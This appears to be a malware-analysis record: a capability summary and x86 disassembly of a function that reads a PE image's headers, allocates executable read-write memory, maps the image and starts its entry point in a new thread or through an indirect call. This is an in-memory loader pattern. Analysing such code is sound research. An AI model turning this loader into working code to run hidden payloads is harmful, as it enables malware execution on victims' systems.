Function at 0x4e37a9
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504ffc
push 0x4e436e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
or dword [ebp - 0x3c], 0xffffffff
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x58], edx
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], edx
mov esi, dword [ebp + 8]
cmp esi, edx
jne 0x4e3803
cmp dword [ebp + 0xc], edx
jne 0x4e3803
mov dword [ebp - 0x3c], VariantCopyInd
jmp 0x4e3960
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov dword [ebp - 0x6c], eax
lea edx, [eax + eax]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
add ecx, esi
mov dword [ebp - 0x60], ecx
mov ebx, dword [ecx + 0x50]
mov dword [ebp - 0x28], ebx
mov ecx, dword [ecx + 0x34]
mov dword [ebp - 0x68], ecx
mov edi, 0x54fe52
mov dword [ebp - 0x34], edi
mov ecx, dword [0x54fe8e]
lea ecx, [ecx + 0x54fe52]
mov dword [ebp - 0x60], ecx
mov ecx, dword [ecx + 0x50]
mov dword [ebp - 0x64], ecx
add edx, eax
add edx, ebx
lea ebx, [edx + ecx + 4]
mov dword [ebp - 0x5c], ebx
push 0x1c
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4e3960
cmp dword [ebp - 0x48], 0x10000
jne 0x4e388e
cmp ebx, dword [ebp - 0x4c]
jae 0x4e388e
push 0x40
push 0x1000
push ebx
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4e38b7
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x4e38b7
mov dword [ebp - 0x3c], 0x80000080
jmp 0x4e3960
lea eax, [ebp - 0x30]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
push esi
push ebx
push dword [ebp - 0x20]
call fcn.004e3b94
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4e3960
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x68]
je 0x4e38ef
push eax
push 0
push eax
call fcn.004e3f3a
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4e3960
push dword [ebp - 0x30]
call fcn.004e3e0e
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4e3960
push dword [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.004e3f3a
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4e3960
mov eax, dword [ebp - 0x60]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
test byte [ebp + 0x13], 0x40
je 0x4e394d
lea ecx, [ebp - 0x2c]
push ecx
xor esi, esi
push esi
push dword [ebp - 0x20]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0x14]
cmp ecx, esi
je 0x4e3944
mov dword [ecx], eax
jmp 0x4e3960
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4e3960
push dword [ebp - 0x20]
call eax
pop ecx
jmp 0x4e3960
or dword [ebp - 4], 0xffffffff
xor esi, esi
cmp dword [ebp - 0x3c], esi
je 0x4e3982
cmp dword [ebp - 0x20], esi
je 0x4e3982
push 0x10000
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10